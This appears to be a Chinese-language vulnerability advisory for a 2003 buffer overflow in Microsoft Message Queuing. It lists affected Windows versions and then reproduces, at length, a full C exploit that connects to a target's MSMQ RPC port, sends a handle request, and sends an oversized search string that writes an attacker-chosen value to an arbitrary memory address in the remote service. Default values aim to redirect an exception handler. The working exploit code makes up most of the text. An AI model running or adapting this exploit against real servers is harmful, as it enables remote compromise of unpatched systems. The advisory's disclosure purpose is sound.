Microsoft Windows NT Enterprise Server 4.0 SP2
Microsoft Windows NT Enterprise Server 4.0 SP1
Microsoft Windows NT Enterprise Server 4.0
Microsoft Windows NT Server 4.0 SP6a
Microsoft Windows NT Server 4.0 SP6
Microsoft Windows NT Server 4.0 SP5
Microsoft Windows NT Server 4.0 SP4
Microsoft Windows NT Server 4.0 SP3
Microsoft Windows NT Server 4.0 SP2
Microsoft Windows NT Server 4.0 SP1
Microsoft Windows NT Server 4.0
Microsoft Windows NT Terminal Server 4.0 SP6
Microsoft Windows NT Terminal Server 4.0 SP5
Microsoft Windows NT Terminal Server 4.0 SP4
Microsoft Windows NT Terminal Server 4.0 SP3
Microsoft Windows NT Terminal Server 4.0 SP2
Microsoft Windows NT Terminal Server 4.0 SP1
Microsoft Windows NT Terminal Server 4.0
Microsoft Windows NT Workstation 4.0 SP6a
Microsoft Windows NT Workstation 4.0 SP6
Microsoft Windows NT Workstation 4.0 SP5
Microsoft Windows NT Workstation 4.0 SP4
Microsoft Windows NT Workstation 4.0 SP3
Microsoft Windows NT Workstation 4.0 SP2
Microsoft Windows NT Workstation 4.0 SP1
Microsoft Windows NT Workstation 4.0
Microsoft Windows Server 2003 Datacenter Edition
Microsoft Windows Server 2003 Datacenter Edition 64-bit
Microsoft Windows Server 2003 Enterprise Edition
Microsoft Windows Server 2003 Enterprise Edition 64-bit
Microsoft Windows Server 2003 Standard Edition
Microsoft Windows Server 2003 Web Edition
Microsoft Windows XP Home SP1
Microsoft Windows XP Home
Microsoft Windows XP Media Center Edition
Microsoft Windows XP Professional SP1
Microsoft Windows XP Professional
详细描述
Microsoft消息队列服务存在缓冲区溢出问题。
Symantec DeepSight分析小组正在分析此漏洞代码,问题应该是对用户提交的search-by-name函数缺少充分处理。
测试代码
/*
A demonstration of the bug alluded to by Jim Allchin in his efforts to
explain how appallingly badly coded some of the work on Micro$oft's
enterprise-critical technologies truly is. See
http://www.eweek.com/article2/0,3959,5264,00.asp
for details.
<quote>
"The fact that I even mentioned the Message Queuing thing bothers me," he
said.
</quote>
Well, it shouldn't really. It only took half-an-hour's work to find this
bug;
multiply that by time wasted on perhaps experimenting with a dozen or so
of
the other M$ apis and you'll see that even without the hint, it wouldn't
have
been hard to find; and of course, many of those other apis have their own
problems. Not disclosing it would have prevented absolutely nothing;
trying
to send a long string to a search-by-name function is just so completely
obvious that secrecy gets you nowhere. YOU CAN'T HIDE ANYTHING FROM AN
INQUIRING MIND WITH A PACKET SNIFFER.[*]
(K) All Rites Reversed - Anti-copyright DaveK Oct 2003
Use as you will. Everything is possible and nothing is real.
Please send improvements, bugfixes or ideas to
blah spam davek AT hahaparse this
nospambots redneck dot gacracker dot org you harvesters
[*] - This offer void where prohibited by law, or strong crypto.
*/
#include <Winsock2.h>
#include <stdio.h>
#pragma comment (lib, "ws2_32.lib")
// Standard typedefs and structs from the Open Group's
// "Technical Standard DCE 1.1: Remote Procedure Call",
// [Document Number C706]
typedef unsigned char uchar;
typedef UUID uuid_t;
typedef unsigned short p_context_id_t;
typedef struct {
uuid_t if_uuid;
unsigned long if_version;
} p_syntax_id_t;
typedef struct {
p_context_id_t p_cont_id;
unsigned char n_transfer_syn; /* number of items */
unsigned char reserved; /* alignment pad, m.b.z. */
p_syntax_id_t abstract_syntax; /* transfer syntax list */
p_syntax_id_t transfer_syntaxes[1];
} p_cont_elem_t;
typedef struct {
unsigned char n_context_elem; /* number of items */
unsigned char reserved; /* alignment pad, m.b.z. */
u_short reserved2; /* alignment pad, m.b.z. */
p_cont_elem_t p_cont_elem[1];
} p_cont_list_t;
// Here's the connectionless rpc pdu header.
typedef struct {
unsigned char rpc_vers; // = 4; /* RPC protocol major version (4 LSB
only)*/
unsigned char ptype; /* Packet type (5 LSB only) */
unsigned char flags1; /* Packet flags */
unsigned char flags2; /* Packet flags */
char drep[3]; /* Data representation format label */
unsigned char serial_hi; /* High char of serial number */
uuid_t object; /* Object identifier */
uuid_t if_id; /* Interface identifier */
uuid_t act_id; /* Activity identifier */
unsigned long server_boot; /* Server boot time */
unsigned long if_vers; /* Interface version */
unsigned long seqnum; /* Sequence number */
unsigned short opnum; /* Operation number */
unsigned short ihint; /* Interface hint */
unsigned short ahint; /* Activity hint */
unsigned short len; /* Length of packet body */
unsigned short fragnum; /* Fragment number */
unsigned char auth_proto; /* Authentication protocol identifier*/
unsigned char serial_lo; /* Low char of serial number */
} dc_rpc_cl_pkt_hdr_t;
/* common header for all connection-oriented pdus */
typedef struct {
/* start 8-octet aligned */
/* common fields */
unsigned char rpc_vers; // = 5; /* 00:01 RPC version */
unsigned char rpc_vers_minor; /* 01:01 minor version */
unsigned char PTYPE; /* 02:01 PDU type */
unsigned char pfc_flags; /* 03:01 flags */
char packed_drep[4]; /* 04:04 NDR data rep format label*/
unsigned short frag_length; /* 08:02 total length of fragment */
unsigned short auth_length; /* 10:02 length of auth_value */
unsigned long call_id; /* 12:04 call identifier */
/* end common fields */
} rpcconn_common_hdr_t;
/* bind header (PTYPE = 11) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
unsigned short max_xmit_frag; /* 16:02 max transmit frag size, bytes
*/
unsigned short max_recv_frag; /* 18:02 max receive frag size, bytes
*/
unsigned long assoc_group_id; /* 20:04 incarnation of client-server
* assoc group */
/* presentation context list */
p_cont_list_t p_context_elem; /* 24:?? variable size */
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */
} rpcconn_bind_hdr_t;
/* request header (PTYPE = 0) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
/* needed on request, response, fault */
unsigned long alloc_hint; /* 16:04 allocation hint */
p_context_id_t p_cont_id; /* 20:02 pres context, i.e. data
rep */
unsigned short opnum; /* 22:02 operation #
* within the interface */
/* optional field for request, only present if the PFC_OBJECT_UUID
* field is non-zero; specified in separate typedef below. */
/* uuid_t object; */ /* 24:16 object UID */
/* stub data, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_request_hdr_t;
/* request header (PTYPE = 0) with object field */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_request_hdr_t ob_req_hdr;
/* optional field for request, assumes that PFC_OBJECT_UUID
* field is non-zero */
uuid_t object; /* 24:16 object UID */
/* stub data, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_object_request_hdr_t;
/* response header (PTYPE = 2) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpcconn_common_hdr_t pdu_hdr;
/* end common fields */
/* needed for request, response, fault */
unsigned long alloc_hint; /* 16:04 allocation hint */
p_context_id_t p_cont_id; /* 20:02 pres context, i.e.
* data rep */
/* needed for response or fault */
unsigned char cancel_count; /* 22:01 cancel count */
unsigned char reserved; /* 23:01 reserved, m.b.z. */
/* stub data here, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_response_hdr_t;
// This is the bind request that we send to get the MSMQ rpc interface up.
/*
Frame Number: '41'
Header length: '20 bytes'
Protocol: 'TCP (0x06)'
Source: '(192.168.80.1)'
Destination: '(192.168.80.5)'
Source port: '(1356)'
Destination port: '(2101)'
Header length: '20 bytes'
Version: '5'
Version (minor): '0'
Packet type: '0b)'
Packet Flags: '03'
Data Representation: '10000000'
Frag Length: '72'
Auth Length: '0'
Call ID: '1'
Max Xmit Frag: '5840'
Max Recv Frag: '5840'
Assoc Group: '00000000 ; 0x000219bf'
Num Ctx Items: '1'
Context ID: '1'
Num Trans Items: '1'
Interface UUID: '77df7a80-f298-11d0-8358-00a024c480a8'
Interface Ver: '1'
Interface Ver Minor: '0'
Transfer Syntax: '8a885d04-1ceb-11c9-9fe8-08002b104860'
Syntax ver: '2'
*/
unsigned char
tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header[] = {
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,
0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0x80,0x7a,0xdf,0x77,0x98,0xf2,0xd0,0x11,0x83,0x58,0x00,0xa0,0x24,0xc4,0x80,0xa8,
0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00
};
// This request must be the first sent once we have bound the interface.
// There is no corresponding function in the MQ api in the SDK; but opnum 22
// returns a 16-byte handle/guid/similar that needs to be part of the actual
// MQLocateBegin request that we synthesize later, so I'd call it something
// like MQOpenMQISHandle. There's a corresponding close function, opnum 23,
// but we aren't going to bother with it.
/*
Frame Number: '47'
Header length: '20 bytes'
Protocol: 'TCP (0x06)'
Source: '(192.168.80.1)'
Destination: '(192.168.80.5)'
Source port: '(1356)'
Destination port: '(2101)'
Header length: '20 bytes'
Version: '5'
Version (minor): '0'
Packet type: '00)'
Packet Flags: '03'
Data Representation: '10000000'
Frag Length: '68'
Auth Length: '0'
Call ID: '2'
Alloc hint: '44'
Context ID: '1'
Opnum: '22'
Stub data '44 bytes)'
[Inferred stub data offset $4e]
Appended 44 bytes of stub data from offset $004e
*/
unsigned char tcp_req_op_22_id_2_frame_47_header[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x02,0x00,0x00,0x00,
0x2c,0x00,0x00,0x00,0x01,0x00,0x16,0x00
};
unsigned char tcp_req_op_22_id_2_frame_47_stubdata[] = {
0x51,0xcc,0xdb,0x57,0x38,0x1f,0x45,0x42,
0xb4,0xfc,0xc1,0x14,0xb3,0x3e,0x01,0xf7,0x00,0x00,0x00,0x00,0x2c,0xfc,0x11,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00
};
// And here we go. This is opnum 6, MQLocateBegin. The stubdata was
derived
// from sniffing the wire while doing a series of MQLocateBegin/End
operations
// with a string that got longer by one unicode 'A' each time. The string
// length is checked locally by the MQLocateBegin function before sending,
but
// the mqsvc exe just assumes the data is valid because it assumes the
packet
// was checked by the remote end before sending. BIG mistake.....!
/*
Frame Number: '49'
Header length: '20 bytes'
Protocol: 'TCP (0x06)'
Source: '(192.168.80.1)'
Destination: '(192.168.80.5)'
Source port: '(1356)'
Destination port: '(2101)'
Header length: '20 bytes'
Version: '5'
Version (minor): '0'
Packet type: '00)'
Packet Flags: '03'
Data Representation: '10000000'
Frag Length: '372'
Auth Length: '0'
Call ID: '3'
Alloc hint: '348'
Context ID: '1'
Opnum: '6'
Stub data '348 bytes)'
[Inferred stub data offset $4e]
Appended 348 bytes of stub data from offset $004e
*/
unsigned char tcp_req_op_6_id_3_frame_49_header[] = {
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x74,0x01,0x00,0x00,0x03,0x00,0x00,0x00,
0x5c,0x01,0x00,0x00,0x01,0x00,0x06,0x00
};
unsigned char tcp_req_op_6_id_3_frame_49_stubdata[] = {
0x00,0x00,0x00,0x00,0xf8,0xfe,0x12,0x00,
0x01,0x00,0x00,0x00,0x00,0xff,0x12,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x04,0x00,0x00,0x00,0x6c,0x00,0x00,0x00,0x1f,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,
0x1f,0x00,0x06,0x09,0xf0,0xfe,0x11,0x00,0x79,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x79,0x00,0x00,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x00,0x00,0x08,0x00,0x02,0x00,0x00,0x00,0xe0,0xfe,0x11,0x00,
0x02,0x00,0x00,0x00,0x65,0x00,0x00,0x00,0x6d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x6d,0xae,0x0c,0x34,0xe5,0xd7,0x11,0xa6,0xf4,0x00,0x50,
0x8b,0xfb,0x13,0x17
};
// Ok, here are three generic helper routines that I use in a lot of my
code.
static inline const char * getfilenamepart (const char *ptr)
{
const char * fn;
fn = ptr;
while (*ptr)
{
if ((*ptr == '\\') || (*ptr == '/'))
fn = ptr + 1;
++ptr;
}
return fn;
}
static int parse_dotted_quad (const char *string, unsigned int *ipaddr,
unsigned short *port)
{
unsigned int a, b, c, d, p;
int n, len;
unsigned int ad;
unsigned short po;
a = b = c = d = p = len = 0;
// FIXME: should perhaps handle ip addresses with only 1, 2 or 3 numeric
// parts as well, as per definition of inet_addr; alas that function is
// no use here because it fails if there is a "ort" suffix.
len = -1;
if (port)
n = sscanf (string, "%i.%i.%i.%i:%i%n", &a, &b, &c, &d, &p, &len);
else
n = 0;
// despite what it says in the SDK docs sscanf does not return the
// number of fields scanned - only the number of conversions: %n is
// a field scanned but not a conversion and doesn't get counted!
if (n != 5)
{
n = sscanf (string, "%i.%i.%i.%i%n", &a, &b, &c, &d, &len);
if (n != 4)
return 0;
}
// ok it looks valid, but in order not to be fooled by names like
// 1.2.3.4.domain (isp host rDNS often looks like this) we must be
// sure that the string end here with whitespace or eol or NUL
if (!string[len] || isspace ((unsigned char)string[len])
|| (string[len] == '\r') || (string[len] == 'n'))
{
// hoorah! return ipaddr and port! in host order!
ad = (a << 24) | (b << 16) | (c << 8) | d;
po = (unsigned short)(p & 0xffff);
if (ipaddr)
*ipaddr = ad;
if (port && (n == 5))
*port = po;
return len;
}
// failed
return 0;
}
static int parse_hostnameport (const char *string, unsigned int *ipaddr,
unsigned short *port, int resolve, int verbose, const char *banner)
{
int len;
unsigned int ad;
unsigned int po;
struct hostent FAR * FAR myhost;
char namepart[400];
// skip wspc be nice
while (isspace (*string))
++string;
// we must see if there is a ort attached to the string end!
len = 0;
while ((string[len] != ':') && (string[len]) && !isspace (string[len]))
{
namepart[len] = string[len];
++len;
}
if (string[len] == ':')
{
sscanf (&string[len+1], "%d", &po);
*port = po;
}
if (!resolve)
return len;
namepart[len] = 0;
myhost = gethostbyname (namepart);
if ((verbose >= 2) || ((verbose == 1) && !myhost))
fprintf (stderr, "%sget host ip for name %s %s", banner, namepart, myhost
? "succeeds" : "fails\n");
if (!myhost)
return 0;
// so we gotta return an ip address then!
memcpy (&ad, myhost->h_addr_list[0], sizeof (ad));
// but we are a parse routine so return in host order
ad = ntohl (ad);
*ipaddr = ad;
if (verbose >= 2)
fprintf (stderr, " - %d.%d.%d.%d\n", ad >> 24, (ad >> 16) & 0xff,
(ad >> 8) & 0xff, ad & 0xff);
return len;
}
// Reads a dce reply; either discards it if no rcvbuf is
// specified, or supplies the first min (rcvsz, frag_len) bytes
// in the buffer you pass in.
int read_dce_reply (SOCKET sock, char *rcvbuf, int rcvsz)
{
char buffer[4096];
int amount, this_time, actual, rv;
rpcconn_common_hdr_t *hdr;
// Read the fixed size header
rv = recv (sock, buffer, sizeof *hdr, 0);
if (rv != sizeof *hdr)
return -1;
hdr = (rpcconn_common_hdr_t *)buffer;
amount = hdr->frag_length - sizeof *hdr;
// copy as much hdr as wanted into rcvbuf
if (rcvbuf && rcvsz)
{
this_time = (rcvsz >= sizeof *hdr) ? sizeof *hdr : rcvsz;
memcpy (rcvbuf, buffer, this_time);
rcvbuf += this_time;
rcvsz -= this_time;
}
while (amount)
{
this_time = (amount >= 4096) ? 4096 : amount;
actual = recv (sock, buffer, this_time, 0);
if (actual <= 0)
return -1;
amount -= actual;
// copy as much data as wanted into rcvbuf
if (rcvbuf && rcvsz)
{
this_time = (rcvsz >= actual) ? actual : rcvsz;
memcpy (rcvbuf, buffer, this_time);
rcvbuf += this_time;
rcvsz -= this_time;
}
}
return 0;
}
// Assembles a DCE frag from a header and some stubdata, and
// sends it in one swell foop.
int send_dce_packet (const uchar *hdr, int hdrsz, const uchar *stubdat, int
stubdatsz, SOCKET sock)
{
static char *packetbuf = NULL;
static int packetbufsz = 0;
if (!hdr || !hdrsz)
return -1;
if (!stubdatsz || !stubdat)
return send (sock, (const char *)hdr, hdrsz, 0) == hdrsz ? 0 :
WSAGetLastError ();
// there are no stream markers in tcp so there is no strict need to send
as one
// packet, but it will look better in a netsniffer display if we do.. so
we do.
if (packetbufsz < (hdrsz + stubdatsz))
{
if (packetbuf)
free (packetbuf);
packetbuf = (char *) malloc (hdrsz + stubdatsz);
packetbufsz = packetbuf ? (hdrsz + stubdatsz) : 0;
if (!packetbuf)
return -1;
}
// assemble packet in buff
memcpy (packetbuf, hdr, hdrsz);
memcpy (packetbuf + hdrsz, stubdat, stubdatsz);
int rv = send (sock, packetbuf, hdrsz + stubdatsz, 0) == (hdrsz +
stubdatsz) ? 0 : WSAGetLastError ();
//free (packetbuf);
return rv;
}
// Binds the MSMQ interface, opens a handle to the MQIS, then builds a
packet
// that represents a MQLocateBegin operation, passing a single MQRESTRICTION
// on the PROPID_Q_LABEL property that tests for PREQ against an over-sized
// unicode string. The columnset data specifies we want the
PROPID_Q_INSTANCE
// and PROPID_Q_CREATE_TIME data returned, but mqsvc.exe won't get that
far.....
int test_overflow (int argc, const char **argv, int stringsize, DWORD
addr2write, DWORD val2write, SOCKET insocket)
{
const char *hostname = argv[1];
int rv, err;
unsigned int ipaddr;
unsigned short port;
SOCKET sendsock;
char replybuf[4096];
if (!hostname)
return -1;
err = 0;
port = 0;
// the parse functions return host byte order; we convert
// to network byte order for use in sockaddr structure
if (parse_dotted_quad (hostname, &ipaddr, &port))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else if (parse_hostnameport (hostname, &ipaddr, &port, TRUE, 1, ""))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else
{
fprintf (stderr, "Can't resolve host! %s - %d", hostname, WSAGetLastError
());
return (-1);
}
if (insocket != INVALID_SOCKET)
sendsock = insocket;
else
sendsock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sendsock == INVALID_SOCKET)
{
fprintf (stderr, "Can't create socket! %s - %d", hostname, WSAGetLastError
());
return (-1);
}
// default port:
if (!port)
port = htons (2101);
// and setup the dest addr structure...
struct sockaddr_in dest_addr;
dest_addr.sin_addr.S_un.S_addr = ipaddr;
dest_addr.sin_port = port;
dest_addr.sin_family = AF_INET;
memset (&dest_addr.sin_zero, 0, sizeof dest_addr.sin_zero);
// try the connect!
if (connect (sendsock, (sockaddr *)&dest_addr, sizeof dest_addr))
{
rv = WSAGetLastError ();
if (insocket != INVALID_SOCKET)
closesocket (sendsock);
return rv;
}
// and send the generated packets to the target
rv = send_dce_packet
(tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
sizeof
tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
NULL, 0, sendsock);
if (!rv)
rv = read_dce_reply (sendsock, NULL, 0);
if (!rv)
rv = send_dce_packet (tcp_req_op_22_id_2_frame_47_header,
sizeof tcp_req_op_22_id_2_frame_47_header,
tcp_req_op_22_id_2_frame_47_stubdata,
sizeof tcp_req_op_22_id_2_frame_47_stubdata, sendsock);
// after the response pdu hdr comes 24 bytes reply stubdata:
// 1 dword 0 ?= reply status?, 16 bytes uuid/handle/suchlike, 1 DWORD 0
again.
if (!rv)
rv = read_dce_reply (sendsock, replybuf, 64);
if (!rv)
{
// The real question is how do we modify the data to send a longer
// string of L'A' as the search path?
// well, the main differences seem to be:
// There are two DWORD 0x00000079 that need to be changed to the new
string len:
// they are at offsets 0x30 and 0x38 in the string. store the new # of
A's
// there. Then append the string.
// The string length includes the terminating zero. So in the above
case,
// we'd have 0x78 shorts of 0x0041 (unicode A) followed by a unicode 0
(nul-term).
// If the string len you chose was odd, add a short of padding as well
to
// align the result.
// Then append the next 0x1c bytes taken from offset 0x130 in the sample
packet
// finally append the 16 guid bytes you received earlier.
unsigned char *outbuf = NULL;
int stubsize = 0x3c + 2 * stringsize + (stringsize & 1 ? 2 : 0) + 0x2c;
outbuf = (unsigned char *) malloc (stubsize);
if (outbuf && !rv)
{
// Start assembling the stubdata for opnum 6.....
memcpy (outbuf, tcp_req_op_6_id_3_frame_49_stubdata, 0x30);
// write the string max count, offset and actual count, as per NDR for
a
// conformant varying array of unicode chrs.
*(DWORD *)(outbuf + 0x30) = stringsize;
*(DWORD *)(outbuf + 0x34) = 0;
*(DWORD *)(outbuf + 0x38) = stringsize;
// Now assemble the string
short * unichrptr = (short *)(outbuf + 0x3c);
int n = stringsize - 1;
#if 0
while (n--)
*unichrptr++ = L'A';
#else
short unichr = 0x4101;
// lop off last 4 chrs for addr and val to write...
n -= 4;
// build remainder of overflow string
while (n--)
*unichrptr++ = unichr++;
// now the values to write
*unichrptr++ = (short)(val2write & 0xffff);
*unichrptr++ = (short)(val2write >> 16) & 0xffff;
*unichrptr++ = (short)(addr2write & 0xffff);
*unichrptr++ = (short)(addr2write >> 16) & 0xffff;
#endif
*unichrptr++ = L'\0';
// array may need padding to get everything 4-aligned again.
if (stringsize & 1)
*unichrptr++ = L'\0';
// Right. Append the remaining stub data from the opnum 6 call
unsigned char *chrptr = (unsigned char *)unichrptr;
memcpy (chrptr, tcp_req_op_6_id_3_frame_49_stubdata+0x130, 0x1c);
chrptr += 0x1c;
// and the mqis handle we received earlier
memcpy (chrptr, replybuf + sizeof rpcconn_response_hdr_t + 4, 16);
chrptr += 16;
// also we must set the frag length
rpcconn_request_hdr_t *hdr = (rpcconn_request_hdr_t
*)tcp_req_op_6_id_3_frame_49_header;
hdr->alloc_hint = stubsize;
hdr->pdu_hdr.frag_length = stubsize + sizeof *hdr;
// We are good to go!
rv = send_dce_packet (tcp_req_op_6_id_3_frame_49_header,
sizeof tcp_req_op_6_id_3_frame_49_header, outbuf, chrptr - outbuf,
sendsock);
// This will fail if the overflow succeeded; if however the string
length we
// chose was too short, we'll get some kind of reply back and try
again with
// a longer string.
if (!rv)
rv = read_dce_reply (sendsock, NULL, 0);
free (outbuf);
}
else if (outbuf)
free (outbuf);
}
// all done with the socket now
if (insocket != INVALID_SOCKET)
closesocket (sendsock);
return 0;
}
int usage (int argc, const char **argv)
{
const char * fn = getfilenamepart (argv[0]);
fprintf (stderr, "\nUsage:\n\n %s host[ort] addr2write val2write
[strmin [strmax]]\n", fn);
fprintf (stderr, "\n");
fprintf (stderr, "Function:\n\n Writes an arbitrary DWORD value to an
arbitrary location in the process\n");
fprintf (stderr, "memory of the mqsvc.exe on the remote machine. Tested
on W2kASv/Sp2.\n");
fprintf (stderr, "Default values of strmin and strmax are 915, which works
for me. Not all\n");
fprintf (stderr, "values for addr2write/val2write seem to work, though;
there may be some\n");
fprintf (stderr, "filtering of the overflow string in some way.\n\n");
fprintf (stderr, " Note also that the default port used (2101) works
reliably for me, but as\n");
fprintf (stderr, "there is an internal MSMQ rpc api operation (opnum 27)
that returns this port\n");
fprintf (stderr, "number as a DWORD to the MQ client, it may be variable
on different systems.\n\n");
return -1;
}
int main (int argc, const char **argv)
{
WSADATA mywinsock;
int rv = 0;
WSAStartup (0xffff, &mywinsock);
if (argc >= 2)
{
int strsize, maxstr;
DWORD addr, val;
// hmm. as defaults, let's try and write an address of a jmp esi to an
exception handler
#define JMPESI0 0x780296bb
#define JMPESI1 0x7801ad1c
#define HANDLER1 0x024dffe0
#define HANDLER2 0x024df7f8
#define HANDLER3 0x024df018
// 0x024cffe0
#define DUMMY 0x66554433
// nefr. seems like it dont work with just any values.
// val is written first in string, addr second; seems not
// to be a good idea to have any 0x01/0x02 bytes. DUMMY
// passes fine as both addr and value.
//
// allchinbug testbed 0x77665544 0x8899aabb
//
if ((argc < 3) || (sscanf (argv[2], "%i", &addr) != 1))
addr = HANDLER1;
if ((argc < 4) || (sscanf (argv[3], "%i", &val) != 1))
val = DUMMY; // DUMMY; // JMPESI1;
if ((argc < 5) || (sscanf (argv[4], "%d", &strsize) != 1))
strsize = 915;
if ((argc < 6) || (sscanf (argv[5], "%d", &maxstr) != 1))
maxstr = 915;
while (!rv)
{
rv = test_overflow (argc, argv, strsize, addr, val, INVALID_SOCKET);
printf ("size %d ***rv %d***\n", strsize, rv);
strsize++;
if (strsize > maxstr)
break;
}
}
else
{
rv = usage (argc, argv);
}
// Exit gracefully.
WSACleanup ();
return rv;
}
解决方案
尚无
相关信息
Dave Korn <davek_throwaway@hotmail.com>.
参考:http://archives.neohapsis.com/archives/fulldisclosure/2003-q4/0326.html
相关主页:http://www.microsoft.com/windows2000/technologies/communications/msmq/default.asp